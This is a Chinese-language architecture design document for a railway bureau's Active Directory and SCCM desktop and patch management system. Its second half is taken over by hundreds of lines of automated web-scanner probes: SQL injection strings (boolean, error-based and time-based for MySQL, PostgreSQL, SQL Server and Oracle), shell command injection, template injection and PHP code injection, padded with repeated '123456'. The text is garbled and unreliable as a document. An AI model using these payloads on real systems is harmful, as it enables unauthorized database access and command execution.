1.1 项目概述
本文档主要详细针对铁路局目前的IT网络架构以及管理模式,根据微软的活动目录域以及相关的基础网络服务以及桌面管理平台System Center Configuration Manager(SCCM)作为技术平台,提出针对铁路局的活动目录域和桌面管理系统的整体架构设计文档。
1.2 建设方案
考虑铁路局目前的网络结构,包含总部网络以及7个大区网络节点的网络架构。
从网络架构来看,铁路局的网络分为总部,在总部级联了7个大区的汇聚点。大区汇聚点到总部的带宽为10Mbps以上的网络。
基于以上的考虑,黑山公司提出全面的桌面管理系统解决方案。此解决方案包括两个方面的内容:
1.基于微软 Windows Server 2008 以上的活动目录(Active Directory)的目录服务;
2.基于微软 System Center Configuration Manager 的补丁管理;
1.3 铁路局IT信息系统的展望
通过此次活动目录和SCCM项目的顺利完成,将为铁路局的IT信息系统环境带来坚实的IT基础架构平台,为其他不同的系统平台,应用环境提供统一的系统接口和安全的认证平台以及高效的工作模式。
2.1 活动目录要求
所有System Center Configuration Manager站点系统必须为Windows Active Directory域的成员。
如果配置发现以筛选和删除过期计算机记录,则Active Directory域功能级别必须至少为Windows Server 2003。
2.2 SCCM架构设计
2.2.1 SCCM结构设计
2.2.2 站点设计
站点是SCCM的基本管理单元,它定义了SCCM管理的计算机、用户、组和其它资源。SCCM的站点边界是SCCM管理员使用IP子网或活动目录站点来定义的一组子网的集合。这意味着我们需要根据计算机的子网信息或所属的站点信息来定义SCCM的站点。在安装站点的时候,管理员需要使用3个字符的站点代码来标示不同的站点,安装完成后,站点代码不能更改。在整个SCCM架构中,站点代码必须保持唯一。
2.2.3 客户端部署方式
SCCM的功能实现需要在客户端安装SCCM的客户端程序,针对不同的情形,我们可以选择采用多种部署方式,绝大多数方式都只需在服务器上进行操作而无需客户端人为干预:
•通过活动目录指定用户登录脚本安装,在用户登录时执行安装(需要用户具有本机管理员权)。
•通过活动目录指定计算机开机脚本安装,在计算机启动时执行安装。
•通过活动目录组策略软件发布功能发布客户端程序。
•手工安装客户端程序
•在标准镜像计算机上安装客户端程序,然后镜像到其他的客户端计算机上。
根据铁路局的网络情况,我们建议将客户端预先安装在标准镜像中来实现快速大规模的部署,或者在部署活动目录客户端加入域的过程中一次性完成客户度安装,以避免通过网络从服务器获取安装SCCM客户端安装文件而形成的大量网络流量,而造成网络拥塞,影响正常业务的进行。
2.2.4 部署架构设计
对于铁路局,综合考虑以下因素,我们建议SCCM拓扑采用二层结构,多系统角色分流,集中管理:
•SCCM 2012 性能的提高使之可以服务更多的客户端
•纳入管理范围的客户端数量约XXXXXX台左右,8个大区分布在8个网络接点上的二级站点内
•8个网络接点上的二级站点服务器端网络环境很好,在同一个高速连接网内。
•客户端与服务器跨广域网连接。
•IT管理资源趋于中心
三层结构指的是:
•整个SCCM架构共一个主SCCM站点,一个中心站点实现集中管理,其余下级分公司,只在本地部署分发点服务。
•设计的SCCM层次架构的最上层是中心站点,中心站点存放了整个环境中的所有客户端资产信息,中心管理员可以在中心站点管理整个体系中的所有客户端和受管理服务器。
•在DMZ区域部署专门的补丁同步服务器,负责从微软更新站点获取最新的补丁信息及补丁安装文件,并且与内部的更新点进行补丁内容同步。或者由管理员定期从微软补丁更新站点下载后导入到中心站点服务器。
•在第二层,每个二级站点设计为一个SCCM站点,所有的站点均为主站点,可以由二级站点管理员对客户端进行完全的管理。所有补丁分发软件包的创建可以由总部管理员统一创建后分发,也可以由二级站点管理员为本二级站点内的客户端创建后分发。
2.2.5 推荐配置
角色 | 配置 | 数量 |
总部SCCM数据库服务器 | 8CPU核,32GB内存,300GB有效磁盘空间 | 2台(高可用配置) |
总部SCCM管理服务器 | 8CPU核,16GB内存,300GB有效磁盘空间 | 1台 |
7大区SCCM管理和数据库服务器 | 8CPU核,32GB内存,300GB以上有效磁盘空间 | 7台 |
2.2.6 SCCM补丁管理流程建立
2.2.6.1 补丁管理流程
需要清楚地区分创建补丁更新,验证和分发补丁的职责。出于安全管理的考虑,不应当由同一个人来同时承担补丁发布、测试和分发的职责。
基本原则:
1. 对于终端的补丁,经过简单测试即可下发;
2. 针对服务器补丁,需要针对不同的业务系统进行详细测试,经验证对业务系统没有影响后方可下发补丁包,并做好回退计划;
2.2.6.2 补丁更新流程
2.2.6.3 补丁分发操作原则
我们用以下的方式来管理补丁分发的进行:
•基于活动目录组织单元的结构创建与之对应的终端集合collection。在中心站点创建基于活动目录组织单元结构整个环境的终端集合,中心补 丁分发管理员可以为所有二级站点的客户端分发补丁。在每个二级站点的站点上创建基于包含本二级站点组织单元结构的终端集合。二级站点的补丁分发管理员可以给按照终端的集合分批分发补丁。
•在中心站点为所有被管理的服务器创建一个专门的集合,用于服务器的补丁分发和管理。
•补丁包会在预定的周期内播发以确保补丁不会在指定的安装时间窗口以外执行安装。
•第一个播发会发送给先期部署的客户端集合,确认分发成功后,为其他的终端生成后续的播发。
•为未成功安装特定补丁的客户端创建相应的集合,以便再次分发。
•补丁部署成功后,将此补丁分发给创建的特定补丁集合,执行周期性的分发,自动的为新添加的终端安装补丁。
以下的设置决定了软件分发的行为。很重要的一点是需要确保不会在客户端显示任何的信息来提示将有补丁需要安装。
2.2.6.4 补丁分发具体步骤
创建和分发补丁步骤简介如下:
1. 选择合适的需要分发补丁的客户端集合
2. 在SCCM内创建需要部署到终端的补丁包。包括了以下内容:
3. 定义补丁列表软件包(包括哪些安装文件)
4. 定义伴随补丁包的部署模板(有否安装提示,针对那个集合部署)
5. 指派补丁分发点(补丁包在哪儿能被访问)
6. 播发次补丁包到选择的终端集合
123456
123456
expr 896460175 + 885662603
123456
123456|expr 823504343 + 834082482
123456
123456
123456$(expr 988917223 + 976812476)
123456
123456
123456&set /A 879384720+932176823
123456
123456
123456
expr 904817674 + 870519776
123456
123456
123456
123456
123456
123456
123456
123456
123456/**/and+4=4
123456
123456
123456
${852186896+971828195}
123456
123456
123456
123456
123456
123456/**/and+3=9
123456
123456
123456
123456
${@var_dump(md5(591921584))};
123456'and'f'='f
'-var_dump(md5(815481383))-'
123456
123456
123456'and'y'='x
123456
123456"and"m"="m
123456
123456"and"z"="i
123456
123456
123456
123456'and/**/extractvalue(1,concat(char(126),md5(1222733599)))and'
123456
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1135971932)))and"
123456
extractvalue(1,concat(char(126),md5(1265945146)))
(select*from(select+sleep(0)union/**/select+1)a)
123456
123456'and(select'1'from/**/cast(md5(1274111184)as/**/int))>'0
123456
123456
(select*from(select+sleep(3)union/**/select+1)a)
123456
123456/**/and/**/cast(md5('1901841650')as/**/int)>0
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1709888675')))
123456
123456'and(select*from(select+sleep(3))a/**/union/**/select+1)='
123456
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1948368583')))>'0
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456
123456鎈'"\(
123456
/*1*/{{900569784+834585874}}
123456"and(select*from(select+sleep(3))a/**/union/**/select+1)="
123456
123456'"\(
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
${800010805+972083763}
123456
${(830726635+837301092)?c}
123456
123456/**/and(select+1/**/from/**/pg_sleep(3))>0/**/
123456
123456
#set($c=911903984+915954373)${c}$c
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456
<%- 929268489+823798846 %>
123456
123456'/**/and(select'1'from/**/pg_sleep(3))::text>'0
123456
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456
123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:3'/**/
123456
123456
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456
123456
123456'and(select+1)>0waitfor/**/delay'0:0:3
123456
123456
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('y',0)
123456
123456
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('l',3)
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',0)='m
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',3)='g
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
${@var_dump(md5(260877478))};
123456
123456
'-var_dump(md5(965523960))-'
123456
${826478474+951861252}
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
expr 886642075 + 829499010
123456
123456
123456
123456
123456|expr 940581527 + 993250453
123456
123456
123456$(expr 858962165 + 877526549)
/*1*/{{807349693+902190855}}
123456
123456
123456&set /A 985230264+861043014
${946650644+800999446}
123456'and/**/extractvalue(1,concat(char(126),md5(1892536243)))and'
123456
123456
123456"and/**/extractvalue(1,concat(char(126),md5(1076850766)))and"
${(953616431+852782874)?c}
expr 872346235 + 838174728
123456
123456
extractvalue(1,concat(char(126),md5(1085016875)))
#set($c=817622546+896625775)${c}$c
123456
123456'and(select'1'from/**/cast(md5(1206839190)as/**/int))>'0
123456
123456
<%- 939846203+961832725 %>
123456/**/and/**/cast(md5('1465437698')as/**/int)>0
123456
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1979539385')))
123456
123456
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1631266584')))>'0
123456
123456
123456鎈'"\(
123456
123456
123456'"\(
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456/**/and+4=4
123456
123456/**/and+2=7
123456
123456'and'y'='y
123456'and'g'='g
123456
123456"and"y"="y
123456
123456"and"x"="f
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(5)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(5))a/**/union/**/select+1)='
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(5))a/**/union/**/select+1)="
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(5))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(5))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:5'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:5
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('v',0)
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('m',5)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',5)='t
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456